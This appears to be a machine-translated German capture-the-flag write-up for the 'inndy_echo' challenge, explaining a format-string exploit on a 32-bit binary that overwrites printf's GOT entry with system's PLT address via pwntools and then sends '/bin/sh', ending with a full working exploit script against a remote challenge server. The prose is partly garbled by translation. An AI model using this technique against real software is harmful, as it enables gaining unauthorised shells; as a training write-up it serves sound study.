inndy_echo
Schritt
-
Routineinspektion, 32-Bit-Programm, nx-Schutz ist aktiviert
-
Versuchen Sie einen lokalen Testlauf, um die allgemeine Situation zu sehen. Ich habe festgestellt, dass es Schwachstellen in Bezug auf Formatzeichenfolgen gibt und welche jederzeit eingegeben werden können.
-
32-Bit-IDA geladen und
festgestellt, dass das Programm eine Sicherheitsanfälligkeit bezüglich Formatzeichenfolgen und eine Systemfunktion aufweist. Ich dachte daran, printf @ got to system @ plt zu ändern. Da das System zu Beginn nicht ausgeführt wurde, wurde die Adresse in Die got-Tabelle war falsch. Sie müssen die plt-Tabelle im Inneren verwenden. Dann übergeben Sie bin / sh -
pwntools integriert ein leistungsstarkes Tool, mit dem wir den entsprechenden Wert schnell ändern können.
Befehlsformat:fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
Argue_place repräsentiert die Parameterposition der ersten vier Zeichen in der Nutzlast (dh den Wert von p in% p $ n, wir nennen ihn It Offset ) -
Nachdem Sie die Idee
geklärt haben , bestimmen Sie zuerst den Versatz, stellen Sie fest, dass der Versatz 7 ist, sodass Sie fmtstr_payload (7, {print_got: system_plt}) direkt verwenden können, um die Änderung abzuschließen, und übergeben Sie dann den Parameter '/ bin / sh'.
Volle exp
from pwn import *
r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')
printf_got=elf.got['printf']
system_plt=elf.plt['system']
payload=fmtstr_payload(7,{
printf_got:system_plt})
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()